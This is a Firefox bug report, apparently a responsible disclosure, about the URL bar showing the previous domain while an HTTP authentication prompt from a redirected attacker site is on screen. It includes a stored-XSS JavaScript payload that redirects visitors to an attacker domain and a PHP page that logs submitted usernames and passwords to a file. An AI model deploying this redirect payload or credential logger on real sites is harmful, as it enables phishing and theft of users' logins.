Bug: URL shown in URL bar is still the old one after being redirected to a website prompting for credentials using HTTP authentication
Status: RESOLVED
Priority: --
Resolution: DUPLICATE
Created: 2022-10-06 22:24:50+00:00
Resolved: 2024-05-30 18:01:19+00:00

I discovered a vulnerability (or at least bad behavior with respect to security) in the Firefox Browser. When getting redirected from a website to another domain which is using HTTP authentication, The URL shown in the URL bar is still the old URL of the redirecting website (which is not the website the credentials will be sent to). It should be noted that the domain shown in the authentication popup is the correct one, but showing something different in the URL bar increases the probability of a phishing attack to succeed.

Let us have a look at the following scenario:
The attacker has discovered a stored XSS vulnerability or similar in the website alpha.com. alpha.com uses HTTP authentication to let users log in. The hacker places a payload like this on alpha.com:

<html>
<head>
<title>A random title</title>
</head>
<body>
</body>
<script>
window.location = window.location.toString().replace('alpha.com', 'beta.com');
</script>
</html>

beta.com is a website owned by the attacker. The above payload will redirect all requests supposed to go to alpha.com to beta.com without changing the path part of the URL. So https://alpha.com/anysite?anyparameter=1 will be converted to https://beta.com/anysite?anyparameter=1.

On beta.com, the attacker has set up HTTP authentication in a way such that credentials will be logged. Example code:

<?php
if (!isset($_SERVER['PHP_AUTH_USER'])) {
    header('WWW-Authenticate: Basic realm="My Realm"');
    header('HTTP/1.0 401 Unauthorized');
    
?>

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>401 Unauthorized</title>
</head><body>
<h1>Unauthorized</h1>
<p>This server could not verify that you
are authorized to access the document
requested.  Either you supplied the wrong
credentials (e.g., bad password), or your
browser doesn't understand how to supply
the credentials required.</p>
</body></html>

<?php

exit;
} else {
$fp = fopen('../logs/cred.txt', 'a');//opens file in append mode  
fwrite($fp, "{$_SERVER['PHP_AUTH_USER']}     {$_SERVER['PHP_AUTH_PW']}\n\n");    
fclose($fp);

When a user goes to alpha.com, he will be redirected to beta.com instead and asked to input his credentials. If he does, the attacker has successfully stolen the user credentials.

Now the problem of Firefox is: in this scenario, at the time when the user is prompted to enter his username and password, the URL bar still shows "alpha.com". So if the user does not look very carefully and notices that the password prompt itself is actually showing something different ("beta.com"), he will fall for the phishing attack. The URL in the URL bar will be updated when the credentials have already been entered (and then it is too late).

I verified this behavior is different in Chrome. The URL in the URL bar is updated to "beta.com" before the user is prompted for his credentials. This is the way it should be, especially non-technical users will assume they are actually sending their credentials to "alpha.com" when this is the domain shown in the URL bar.

I stumbled across this problem while investigating a real-world environment. I hope this report was understandable and helpful. I also have image / video material supporting my claims, but I cannot share it for now because it would disclose additional information about the environment I tested. Please let me know if there are any difficulties in reproducing this.